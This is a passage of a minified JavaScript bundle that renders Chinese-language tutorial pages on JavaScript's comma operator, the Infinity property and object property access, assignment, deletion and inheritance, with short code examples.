",l.a.createElement("strong",null,"\u4e8c\u5143\u8fd0\u7b97\u7b26"),"\uff0c\u5b83\u7684\u64cd\u4f5c\u6570\u53ef\u4ee5\u662f\u4efb\u610f\u7c7b\u578b\u3002"),l.a.createElement("p",null,"\u5b83\u9996\u5148\u8ba1\u7b97\u5de6\u64cd\u4f5c\u6570\uff0c\u7136\u540e\u8ba1\u7b97\u53f3\u64cd\u4f5c\u6570\uff0c\u6700\u540e\u8fd4\u56de\u53f3\u64cd\u4f5c\u6570\u7684\u503c\uff0c\u7528\u9017\u53f7\u8fd0\u7b97\u7b26\u53ef\u4ee5\u5728\u4e00\u6761\u8bed\u53e5\u4e2d\u6267\u884c\u591a\u4e2a\u8fd0\u7b97\u3002"),l.a.createElement(c["a"],{code:"(x = 0), (y = 1), (z = 2);",lang:"js"}),l.a.createElement(c["a"],{code:"// \u8ba1\u7b97\u7ed3\u679c\u662f 2\uff0c\u5b83\u548c\u4e0b\u9762\u7684\u4ee3\u7801\u57fa\u672c\u7b49\u4ef7\nx = 0;\ny = 1;\nz = 2;",lang:"js"}),l.a.createElement("h2",{id:"\u7528\u6cd5"},l.a.createElement(r["AnchorLink"],{to:"#\u7528\u6cd5","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u7528\u6cd5"),l.a.createElement("h3",{id:"\u7528\u4e8e\u58f0\u660e\u591a\u4e2a\u53d8\u91cf"},l.a.createElement(r["AnchorLink"],{to:"#\u7528\u4e8e\u58f0\u660e\u591a\u4e2a\u53d8\u91cf","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u7528\u4e8e\u58f0\u660e\u591a\u4e2a\u53d8\u91cf"),l.a.createElement(c["a"],{code:"var a = 1,\n b = 2,\n c = 3;\n\nlet x, y, z;",lang:"js"}),l.a.createElement("p",null,"\u9017\u53f7\u8fd0\u7b97\u7b26\u6700\u5e38\u7528\u7684\u573a\u666f\u662f\u5728 ",l.a.createElement("code",null,"for")," \u5faa\u73af\u4e2d\uff0c\u8fd9\u4e2a ",l.a.createElement("code",null,"for")," \u5faa\u73af\u901a\u5e38\u5177\u6709\u591a\u4e2a\u5faa\u73af\u53d8\u91cf\uff1a"),l.a.createElement(c["a"],{code:"// for \u5faa\u73af\u4e2d\u7684\u7b2c\u4e00\u4e2a\u9017\u53f7\u662f var \u8bed\u53e5\u7684\u4e00\u90e8\u5206\n// \u7b2c\u4e8c\u4e2a\u9017\u53f7\u662f\u9017\u53f7\u8fd0\u7b97\u7b26\n// \u5b83\u5c06\u4e24\u4e2a\u8868\u8fbe\u5f0f(i++\u548cj--)\u653e\u5728\u4e00\u6761\u8bed\u53e5\u4e2d\nfor (var i = 0, j = 10; i < j; i++, j--) {\n console.log(i + j);\n}",lang:"js"}),l.a.createElement("h3",{id:"\u7528\u4e8e\u8d4b\u503c"},l.a.createElement(r["AnchorLink"],{to:"#\u7528\u4e8e\u8d4b\u503c","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u7528\u4e8e\u8d4b\u503c"),l.a.createElement("p",null,"\u9017\u53f7\u8fd0\u7b97\u7b26\u8fd8\u53ef\u4ee5\u7528\u4e8e\u8d4b\u503c\uff0c\u5728\u7528\u4e8e\u8d4b\u503c\u65f6\uff0c\u9017\u53f7\u8fd0\u7b97\u7b26\u603b\u662f\u8fd4\u56de\u8868\u8fbe\u5f0f\u4e2d\u7684\u6700\u540e\u4e00\u9879\u3002"),l.a.createElement(c["a"],{code:"var foo = (1, 2, 3, 4, 5);\n// \u53bb\u6389\u62ec\u53f7\u4f1a\u62a5\u9519\n\nconsole.log(foo);\n// 5",lang:"js"})))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(o,{demos:n})}},"+IQm":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=n("H1Ra"),o=n("dMo/"),i=l.a.memo((e=>{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"infinity"},l.a.createElement(r["AnchorLink"],{to:"#infinity","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"Infinity"),l.a.createElement("p",null,"\u5168\u5c40\u5c5e\u6027 ",l.a.createElement("code",null,"Infinity")," \u662f\u4e00\u4e2a\u6570\u503c\uff0c\u8868\u793a\u65e0\u7a77\u5927\u3002"),l.a.createElement("p",null,l.a.createElement("code",null,"Infinity")," \u5c5e\u6027\u7684\u5c5e\u6027\u7279\u6027"),l.a.createElement(o["a"],null,l.a.createElement("thead",null,l.a.createElement("tr",null,l.a.createElement("th",{align:"left"},"\u5c5e\u6027\u7279\u6027"),l.a.createElement("th",{align:"left"},"\u5e03\u5c14\u503c"))),l.a.createElement("tbody",null,l.a.createElement("tr",null,l.a.createElement("td",{align:"left"},l.a.createElement("code",null,"writable")),l.a.createElement("td",{align:"left"},l.a.createElement("code",null,"false"))),l.a.createElement("tr",null,l.a.createElement("td",{align:"left"},l.a.createElement("code",null,"enumerable")),l.a.createElement("td",{align:"left"},l.a.createElement("code",null,"false"))),l.a.createElement("tr",null,l.a.createElement("td",{align:"left"},l.a.createElement("code",null,"configurable")),l.a.createElement("td",{align:"left"},l.a.createElement("code",null,"false"))))),l.a.createElement("h2",{id:"\u8bf4\u660e"},l.a.createElement(r["AnchorLink"],{to:"#\u8bf4\u660e","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u8bf4\u660e"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement("code",null,"Infinity")," \u662f\u5168\u5c40\u5bf9\u8c61\u7684\u4e00\u4e2a\u5c5e\u6027\uff0c\u5373\u5b83\u662f\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf\u3002"),l.a.createElement("li",null,l.a.createElement("code",null,"Infinity")," \u7684\u521d\u59cb\u503c\u662f ",l.a.createElement(r["Link"],{to:"https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY"},l.a.createElement("code",null,"Number.POSITIVE_INFINITY")),"\u3002")),l.a.createElement("p",null,l.a.createElement("code",null,"Infinity")," \u5927\u4e8e\u4efb\u4f55\u503c\u3002\u8be5\u503c\u548c\u6570\u5b66\u610f\u4e49\u4e0a\u7684\u65e0\u7a77\u5927\u5f88\u50cf\uff0c\u4f8b\u5982\u4efb\u4f55\u6b63\u503c\u4e58\u4ee5 ",l.a.createElement("code",null,"Infinity")," \u4e3a ",l.a.createElement("code",null,"Infinity")," \uff0c\u4efb\u4f55\u6570\u503c\uff08\u9664\u4e86 ",l.a.createElement("code",null,"Infinity"),"\u548c ",l.a.createElement("code",null,"-Infinity")," \uff09\u9664\u4ee5 ",l.a.createElement("code",null,"Infinity")," \u4e3a 0\u3002"),l.a.createElement("h2",{id:"\u793a\u4f8b"},l.a.createElement(r["AnchorLink"],{to:"#\u793a\u4f8b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u793a\u4f8b"),l.a.createElement("p",null,"\ud83c\udf30 ",l.a.createElement("strong",null,"\u4ee3\u7801\u793a\u4f8b"),"\uff1a"),l.a.createElement(c["a"],{code:"console.log(Infinity);\n// Infinity\nconsole.log(Infinity + 1);\n// Infinity\nconsole.log(Math.pow(10, 1000));\n// Infinity\nconsole.log(Math.log(0));\n// Infinity\nconsole.log(1 / Infinity);\n// 0",lang:"js"})))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(i,{demos:n})}},"+M1K":function(e,t,n){var a=n("ppGB");e.exports=function(e){var t=a(e);if(t<0)throw RangeError("The argument can't be less than 0");return t}},"+QM1":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=n("H1Ra"),o=l.a.memo((e=>{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"\u5c5e\u6027\u64cd\u4f5c"},l.a.createElement(r["AnchorLink"],{to:"#\u5c5e\u6027\u64cd\u4f5c","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5c5e\u6027\u64cd\u4f5c"),l.a.createElement("h2",{id:"\u5c5e\u6027\u67e5\u8be2"},l.a.createElement(r["AnchorLink"],{to:"#\u5c5e\u6027\u67e5\u8be2","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5c5e\u6027\u67e5\u8be2"),l.a.createElement("p",null,"\u5c5e\u6027\u67e5\u8be2\u5728\u8868\u8fbe\u5f0f\u5c42\u9762\u4e5f\u6210\u4e3a ",l.a.createElement(r["Link"],{to:"../../basic-concept/expressions/primary-expression/property-accessors"},"\u5c5e\u6027\u8bbf\u95ee\u5668"),"\u3002"),l.a.createElement("p",null,"\u5c5e\u6027\u67e5\u8be2\u4e00\u822c\u6709\u4e24\u79cd\u65b9\u6cd5\uff1a"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["AnchorLink"],{to:"#%E7%82%B9%E8%BF%90%E7%AE%97%E7%AC%A6"},"\u70b9\u8fd0\u7b97\u7b26")),l.a.createElement("li",null,l.a.createElement(r["AnchorLink"],{to:"#%E6%96%B9%E6%8B%AC%E5%8F%B7%E8%BF%90%E7%AE%97%E7%AC%A6"},"\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26"))),l.a.createElement("p",null,"\u952e\u540d\u53ef\u4ee5\u662f\u4e2d\u6587\uff0c\u56e0\u4e3a\u4e2d\u6587\u76f8\u5f53\u4e8e\u5b57\u7b26\uff0c\u4e0e\u82f1\u6587\u5b57\u7b26\u540c\u6837\u5bf9\u5f85\uff0c\u56e0\u6b64\u53ef\u4ee5\u5199\u6210 ",l.a.createElement("code",null,"person.\u767d")," \u6216 ",l.a.createElement("code",null,"person['\u767d']"),"\u3002"),l.a.createElement(c["a"],{code:"const person = {\r\n \u767d: 1,\r\n};\r\nconsole.log(person.\u767d);\r\n// 1\r\nconsole.log(person['\u767d']);\r\n// 1",lang:"js"}),l.a.createElement("h3",{id:"\u70b9\u8fd0\u7b97\u7b26"},l.a.createElement(r["AnchorLink"],{to:"#\u70b9\u8fd0\u7b97\u7b26","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u70b9\u8fd0\u7b97\u7b26"),l.a.createElement("p",null,"\u70b9\u8fd0\u7b97\u7b26\u662f\u5f88\u591a\u9762\u5411\u5bf9\u8c61\u8bed\u53e5\u7684\u901a\u7528\u5199\u6cd5\uff0c\u7531\u4e8e\u5176\u6bd4\u8f83\u7b80\u5355\uff0c\u6240\u4ee5\u8f83\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26\u76f8\u6bd4\uff0c\u66f4\u5e38\u7528\u3002"),l.a.createElement("p",null,"\u7531\u4e8e JavaScript \u662f\u5f31\u7c7b\u578b\u8bed\u8a00\uff0c\u5728\u4efb\u4f55\u5bf9\u8c61\u4e2d\u90fd\u53ef\u4ee5\u521b\u5efa\u4efb\u610f\u6570\u91cf\u7684\u5c5e\u6027\u3002\u4f46\u5f53\u901a\u8fc7\u70b9\u8fd0\u7b97\u7b26 ",l.a.createElement("code",null,".")," \u8bbf\u95ee\u5bf9\u8c61\u7684\u5c5e\u6027\u65f6\uff0c\u5c5e\u6027\u540d\u7528\u4e00\u4e2a\u6807\u8bc6\u7b26\u6765\u8868\u793a\uff0c\u6807\u8bc6\u7b26\u8981\u7b26\u5408 ",l.a.createElement(r["AnchorLink"],{to:"../../basic-concept/lexical-grammar/lexical-grammar#%E6%A0%87%E8%AF%86%E7%AC%A6"},"\u53d8\u91cf\u547d\u540d\u89c4\u5219"),"\u3002\u6807\u8bc6\u7b26\u5fc5\u987b\u76f4\u63a5\u51fa\u73b0\u5728 JavaScript \u7a0b\u5e8f\u4e2d\uff0c\u5b83\u4eec\u4e0d\u662f\u6570\u636e\u7c7b\u578b\uff0c\u56e0\u6b64\u7a0b\u5e8f\u65e0\u6cd5\u4fee\u6539\u5b83\u4eec\u3002"),l.a.createElement(c["a"],{code:"const foo = {\r\n a: 1,\r\n 1: 2\r\n};\r\n\r\nconsole.log(foo.a);\r\n// 1\r\n\r\n// \u7531\u4e8e\u53d8\u91cf\u4e0d\u53ef\u4ee5\u4ee5\u6570\u5b57\u5f00\u5934\uff0c\u6240\u4ee5o.1\u62a5\u9519\r\nconsole.log(o.1);\r\n// Uncaught SyntaxError: missing ) after argument list",lang:"js"}),l.a.createElement("h3",{id:"\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26"},l.a.createElement(r["AnchorLink"],{to:"#\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26"),l.a.createElement("p",null,"\u5f53\u901a\u8fc7\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26 ",l.a.createElement("code",null,"[]")," \u6765\u8bbf\u95ee\u5bf9\u8c61\u7684\u5c5e\u6027\u65f6\uff0c\u5c5e\u6027\u540d\u901a\u8fc7\u5b57\u7b26\u4e32\u6765\u8868\u793a\u3002\u5b57\u7b26\u4e32\u662f JavaScript \u7684\u6570\u636e\u7c7b\u578b\uff0c\u5728\u7a0b\u5e8f\u8fd0\u884c\u4e2d\u53ef\u4ee5\u4fee\u6539\u548c\u521b\u5efa\u5b83\u4eec\u3002"),l.a.createElement("p",null,"\u4f7f\u7528\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26\u6709\u4e24\u4e2a\u4f18\u70b9\uff1a"),l.a.createElement("ul",null,l.a.createElement("li",null,"\u53ef\u4ee5\u901a\u8fc7\u53d8\u91cf\u6765\u8bbf\u95ee\u5c5e\u6027"),l.a.createElement("li",null,"\u5c5e\u6027\u540d\u79f0\u53ef\u4ee5\u4e3a JavaScript \u65e0\u6548\u6807\u8bc6\u7b26")),l.a.createElement("p",null,"\u65b9\u62ec\u53f7\u4e2d\u7684\u503c\u82e5\u662f\u975e\u5b57\u7b26\u4e32\u7c7b\u578b\u4f1a\u4f7f\u7528 ",l.a.createElement("code",null,"String()")," \u9690\u5f0f\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u518d\u8f93\u51fa\u3002\u5982\u679c\u662f\u5b57\u7b26\u4e32\u7c7b\u578b\uff0c\u82e5\u6709\u5f15\u53f7\u5219\u539f\u503c\u8f93\u51fa\uff0c\u5426\u5219\u4f1a\u88ab\u8bc6\u522b\u4e3a\u53d8\u91cf\uff0c\u82e5\u53d8\u91cf\u672a\u5b9a\u4e49\uff0c\u5219\u62a5\u9519\u3002"),l.a.createElement("h4",{id:"\u53ef\u8ba1\u7b97\u5c5e\u6027\u540d"},l.a.createElement(r["AnchorLink"],{to:"#\u53ef\u8ba1\u7b97\u5c5e\u6027\u540d","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u53ef\u8ba1\u7b97\u5c5e\u6027\u540d"),l.a.createElement("p",null,"\u5728\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26\u5185\u90e8\u53ef\u4ee5\u4f7f\u7528\u8868\u8fbe\u5f0f\u3002"),l.a.createElement(c["a"],{code:"const a = 1;\r\nconst foo = {\r\n 3: 'abc',\r\n};\r\n\r\nfoo[a + 2]; // 'abc'",lang:"js"}),l.a.createElement("p",null,"\u4f46\u5982\u679c\u8981\u5728\u5bf9\u8c61\u5b57\u9762\u91cf\u5185\u90e8\u5bf9\u5c5e\u6027\u540d\u4f7f\u7528\u8868\u8fbe\u5f0f\uff0c\u5219\u9700\u8981\u4f7f\u7528 ES6 \u7684\u53ef\u8ba1\u7b97\u5c5e\u6027\u540d\u3002"),l.a.createElement(c["a"],{code:"const a = 1;\r\n\r\nconst foo = {\r\n a + 3: 'abc'\r\n};\r\n// Uncaught SyntaxError: Unexpected token +",lang:"js"}),l.a.createElement("p",null,"ES6 \u589e\u52a0\u4e86\u53ef\u8ba1\u7b97\u5c5e\u6027\u540d\uff0c\u53ef\u4ee5\u5728\u6587\u5b57\u4e2d\u4f7f\u7528 ",l.a.createElement("code",null,"[]")," \u5305\u88f9\u4e00\u4e2a\u8868\u8fbe\u5f0f\u6765\u5f53\u4f5c\u5c5e\u6027\u540d\u3002"),l.a.createElement(c["a"],{code:"const a = 1;\r\n\r\nconst foo = {\r\n [a + 3]: 'bar',\r\n};\r\n\r\nfoo[4];\r\n// 'bar'",lang:"js"}),l.a.createElement("h4",{id:"\u5c5e\u6027\u67e5\u8be2\u9519\u8bef"},l.a.createElement(r["AnchorLink"],{to:"#\u5c5e\u6027\u67e5\u8be2\u9519\u8bef","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5c5e\u6027\u67e5\u8be2\u9519\u8bef"),l.a.createElement("p",null,"\u67e5\u8be2\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u5c5e\u6027\u4e0d\u4f1a\u62a5\u9519\uff0c\u800c\u662f\u8fd4\u56de ",l.a.createElement("code",null,"undefined"),"\u3002"),l.a.createElement(c["a"],{code:"const foo = {};\r\n\r\nconsole.log(foo.a);\r\n// undefined",lang:"js"}),l.a.createElement("p",null,"\u5982\u679c\u5bf9\u8c61\u4e0d\u5b58\u5728\uff0c\u8bd5\u56fe\u67e5\u8be2\u8fd9\u4e2a\u4e0d\u5b58\u5728\u7684\u5bf9\u8c61\u7684\u5c5e\u6027\u4f1a\u62a5\u9519\u3002"),l.a.createElement(c["a"],{code:"console.log(foo.a);\r\n// Uncaught ReferenceError: person is not defined",lang:"js"}),l.a.createElement("p",null,"\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\uff0c\u6765\u68c0\u67e5\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf\u662f\u5426\u88ab\u58f0\u660e\u3002"),l.a.createElement("p",null,"\u68c0\u67e5\u53d8\u91cf\u662f\u5426\u88ab\u58f0\u660e"),l.a.createElement(c["a"],{code:"if (a) {...};\r\n// Uncaught ReferenceError: a is not defined",lang:"js"}),l.a.createElement("p",null,"\u6240\u6709\u5168\u5c40\u53d8\u91cf\u90fd\u662f Window \u5bf9\u8c61\u7684\u5c5e\u6027\u3002",l.a.createElement("code",null,"window.a")," \u7684\u542b\u4e49\u5c31\u662f\u8bfb\u53d6 Window \u5bf9\u8c61\u7684 ",l.a.createElement("code",null,"a")," \u5c5e\u6027\uff0c\u5982\u679c\u8be5\u5c5e\u6027\u4e0d\u5b58\u5728\uff0c\u5c31\u8fd4\u56de ",l.a.createElement("code",null,"undefined"),"\uff0c\u5e76\u4e0d\u4f1a\u62a5\u9519\u3002"),l.a.createElement(c["a"],{code:"if (window.a) {...}",lang:"js"}),l.a.createElement("h2",{id:"\u5c5e\u6027\u8bbe\u7f6e"},l.a.createElement(r["AnchorLink"],{to:"#\u5c5e\u6027\u8bbe\u7f6e","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5c5e\u6027\u8bbe\u7f6e"),l.a.createElement("p",null,"\u5c5e\u6027\u8bbe\u7f6e\u53c8\u79f0\u4e3a\u5c5e\u6027\u8d4b\u503c\uff0c\u4e0e\u5c5e\u6027\u67e5\u8be2\u76f8\u540c\uff0c\u5177\u6709",l.a.createElement("strong",null,"\u70b9\u8fd0\u7b97\u7b26"),"\u548c",l.a.createElement("strong",null,"\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26"),"\u8fd9\u4e24\u79cd\u65b9\u6cd5\u3002"),l.a.createElement("p",null,"\ud83c\udf30 ",l.a.createElement("strong",null,"\u4ee3\u7801\u793a\u4f8b\uff1a\u70b9\u8fd0\u7b97\u7b26")),l.a.createElement(c["a"],{code:"foo.p = 'bar';",lang:"js"}),l.a.createElement("p",null,"\ud83c\udf30 ",l.a.createElement("strong",null,"\u4ee3\u7801\u793a\u4f8b\uff1a\u65b9\u62ec\u53f7\u8fd0\u7b97\u7b26")),l.a.createElement(c["a"],{code:"foo['p'] = 'bar';",lang:"js"}),l.a.createElement("h3",{id:"\u8d4b\u503c\u68c0\u6d4b"},l.a.createElement(r["AnchorLink"],{to:"#\u8d4b\u503c\u68c0\u6d4b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u8d4b\u503c\u68c0\u6d4b"),l.a.createElement("p",null,"\u5728\u7ed9\u5bf9\u8c61\u8bbe\u7f6e\u5c5e\u6027\u4e4b\u524d\uff0c\u4e00\u822c\u8981\u5148\u68c0\u6d4b\u5bf9\u8c61\u662f\u5426\u5b58\u5728\u3002"),l.a.createElement(c["a"],{code:"// Bad\r\nconst len = undefined;\r\nif (book) {\r\n if (book.subtitle) {\r\n len = book.subtitle.length;\r\n }\r\n}\r\n\r\n// Good\r\nconst len = book && book.subtitle && book.subtitle.length;",lang:"js"}),l.a.createElement("h3",{id:"\u539f\u59cb\u7c7b\u578b"},l.a.createElement(r["AnchorLink"],{to:"#\u539f\u59cb\u7c7b\u578b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u539f\u59cb\u7c7b\u578b"),l.a.createElement("p",null,"\u7531\u4e8e String\u3001Number \u548c Boolean \u7b49\u6570\u636e\u7c7b\u578b\u7684\u503c\u6709\u5bf9\u5e94\u7684\u5305\u88c5\u5bf9\u8c61\uff0c\u6240\u4ee5\u7ed9\u5b83\u4eec\u8bbe\u7f6e\u5c5e\u6027\u4e0d\u4f1a\u62a5\u9519\u3002"),l.a.createElement(c["a"],{code:"'foo'.a = 1;\r\n// 1\r\n\r\n(1).a = 1;\r\n// 1\r\n\r\ntrue.a = 1;\r\n// 1",lang:"js"}),l.a.createElement("p",null,"\u800c ",l.a.createElement("code",null,"null")," \u548c ",l.a.createElement("code",null,"undefined")," \u4e0d\u662f\u5bf9\u8c61\uff0c\u7ed9\u5b83\u4eec\u8bbe\u7f6e\u5c5e\u6027\u4f1a\u62a5\u9519\u3002"),l.a.createElement(c["a"],{code:"null.a = 1;\r\n// Uncaught TypeError: Cannot set property 'a' of null\r\n\r\nundefined.a = 1;\r\n// Uncaught TypeError: Cannot set property 'a' of undefined",lang:"js"}),l.a.createElement("h2",{id:"\u5c5e\u6027\u5220\u9664"},l.a.createElement(r["AnchorLink"],{to:"#\u5c5e\u6027\u5220\u9664","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5c5e\u6027\u5220\u9664"),l.a.createElement("p",null,"\u4f7f\u7528 ",l.a.createElement(r["Link"],{to:"../../basic-concept/expressions/operators/delete"},"delete")," \u8fd0\u7b97\u7b26\u53ef\u4ee5\u5220\u9664\u5bf9\u8c61\u5c5e\u6027\uff08\u5305\u62ec\u6570\u7ec4\u5143\u7d20\uff09\u3002"),l.a.createElement(c["a"],{code:"const foo = { a: 1 };\r\n\r\nconsole.log(foo.a);\r\n// 1\r\nconsole.log('a' in foo);\r\n// true\r\n\r\n// delete object attribute\r\nconsole.log(delete foo.a);\r\n// true\r\n\r\nconsole.log(foo.a);\r\n// undefined\r\nconsole.log('a' in foo);\r\n// false",lang:"js"}),l.a.createElement("ul",null,l.a.createElement("li",null,"\u7ed9\u5bf9\u8c61\u5c5e\u6027\u8bbe\u7f6e ",l.a.createElement("code",null,"null")," \u6216 ",l.a.createElement("code",null,"undefined"),"\uff0c\u5e76\u6ca1\u6709\u5220\u9664\u8be5\u5c5e\u6027"),l.a.createElement("li",null,"\u4f7f\u7528 ",l.a.createElement("code",null,"delete")," \u5220\u9664\u6570\u7ec4\u5143\u7d20\u65f6\uff0c\u4e0d\u4f1a\u6539\u53d8\u6570\u7ec4\u957f\u5ea6"),l.a.createElement("li",null,l.a.createElement("code",null,"delete")," \u8fd0\u7b97\u7b26\u53ea\u80fd\u5220\u9664\u81ea\u6709\u5c5e\u6027\uff0c\u4e0d\u80fd\u5220\u9664\u7ee7\u627f\u5c5e\u6027",l.a.createElement("ul",null,l.a.createElement("li",null,"\u8981\u5220\u9664\u7ee7\u627f\u5c5e\u6027\u5fc5\u987b\u4ece\u5b9a\u4e49\u8fd9\u4e2a\u5c5e\u6027\u7684\u539f\u578b\u5bf9\u8c61\u4e0a\u5220\u9664\u5b83\uff0c\u800c\u4e14\u8fd9\u4f1a\u5f71\u54cd\u5230\u6240\u6709\u7ee7\u627f\u81ea\u8fd9\u4e2a\u539f\u578b\u7684\u5bf9\u8c61"))),l.a.createElement("li",null,l.a.createElement("code",null,"delete")," \u64cd\u4f5c\u7b26\u7684\u8fd4\u56de\u503c\u662f\u4e2a\u5e03\u5c14\u503c ",l.a.createElement("code",null,"true")," \u6216 ",l.a.createElement("code",null,"false"),l.a.createElement("ul",null,l.a.createElement("li",null,"\u5f53\u4f7f\u7528 ",l.a.createElement("code",null,"delete")," \u64cd\u4f5c\u7b26\u5220\u9664\u5bf9\u8c61\u5c5e\u6027\u6216\u6570\u7ec4\u5143\u7d20\u5220\u9664\u6210\u529f\u65f6\uff0c\u8fd4\u56de ",l.a.createElement("code",null,"true")),l.a.createElement("li",null,"\u5f53\u4f7f\u7528 ",l.a.createElement("code",null,"delete")," \u64cd\u4f5c\u7b26\u5220\u9664\u4e0d\u5b58\u5728\u7684\u5c5e\u6027\u6216\u975e\u5de6\u503c\u65f6\uff0c\u8fd4\u56de ",l.a.createElement("code",null,"true")),l.a.createElement("li",null,"\u5f53\u4f7f\u7528 ",l.a.createElement("code",null,"delete")," \u64cd\u4f5c\u7b26\u5220\u9664\u53d8\u91cf\u65f6\uff0c\u8fd4\u56de ",l.a.createElement("code",null,"false"),"\uff0c\u4e25\u683c\u6a21\u5f0f\u4e0b\u4f1a\u629b\u51fa ReferenceError \u9519\u8bef"),l.a.createElement("li",null,"\u5f53\u4f7f\u7528 ",l.a.createElement("code",null,"delete")," \u64cd\u4f5c\u7b26\u5220\u9664\u4e0d\u53ef\u914d\u7f6e\u7684\u5c5e\u6027\u65f6\uff0c\u8fd4\u56de ",l.a.createElement("code",null,"false"),"\uff0c\u4e25\u683c\u6a21\u5f0f\u4e0b\u4f1a\u629b\u51fa TypeError \u9519\u8bef")))),l.a.createElement("h2",{id:"\u5c5e\u6027\u7ee7\u627f"},l.a.createElement(r["AnchorLink"],{to:"#\u5c5e\u6027\u7ee7\u627f","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5c5e\u6027\u7ee7\u627f"),l.a.createElement("p",null,'\u6bcf\u4e2a JavaScript \u5bf9\u8c61\u90fd\u548c\u53e6\u4e00\u4e2a\u5bf9\u8c61\u76f8\u5173\u8054\u3002"\u53e6\u4e00\u4e2a\u5bf9\u8c61"\u5c31\u662f\u6211\u4eec\u719f\u77e5\u7684\u539f\u578b\uff0c\u6bcf\u4e00\u4e2a\u5bf9\u8c61\u90fd\u4ece\u539f\u578b\u7ee7\u627f\u5c5e\u6027\u3002'),l.a.createElement("p",null,"\u6240\u6709\u901a\u8fc7\u5bf9\u8c61\u76f4\u63a5\u91cf\u521b\u5efa\u7684\u5bf9\u8c61\u90fd\u5177\u6709\u540c\u4e00\u4e2a\u539f\u578b\u5bf9\u8c61\uff0c\u5e76\u53ef\u4ee5\u901a\u8fc7 ",l.a.createElement("code",null,"Object.prototype")," \u83b7\u5f97\u5bf9\u539f\u578b\u5bf9\u8c61\u7684\u5f15\u7528\u3002"),l.a.createElement(c["a"],{code:"const foo = {};\r\n\r\nconsole.log(foo.__proto__ === Object.prototype);\r\n// true",lang:"js"}),l.a.createElement("p",null,l.a.createElement("code",null,"Object.prototype")," \u7684\u539f\u578b\u5bf9\u8c61\u662f ",l.a.createElement("code",null,"null"),"\uff0c\u6240\u4ee5\u5b83\u4e0d\u7ee7\u627f\u4efb\u4f55\u5c5e\u6027\u3002"),l.a.createElement(c["a"],{code:"console.log(Object.prototype.__proto__ === null);\r\n// true",lang:"js"}),l.a.createElement("p",null,"\u5bf9\u8c61\u672c\u8eab\u5177\u6709\u7684\u5c5e\u6027\u53eb ",l.a.createElement("strong",null,"\u81ea\u6709\u5c5e\u6027"),"\uff08Own Property\uff09\uff0c\u4ece\u539f\u578b\u5bf9\u8c61\u7ee7\u627f\u800c\u6765\u7684\u5c5e\u6027\u53eb ",l.a.createElement("strong",null,"\u7ee7\u627f\u5c5e\u6027"),"\u3002"),l.a.createElement("h3",{id:"\u5224\u65ad\u65b9\u6cd5"},l.a.createElement(r["AnchorLink"],{to:"#\u5224\u65ad\u65b9\u6cd5","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u5224\u65ad\u65b9\u6cd5"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"../../basic-concept/expressions/operators/in"},"in"),"\uff1a",l.a.createElement("code",null,"in")," 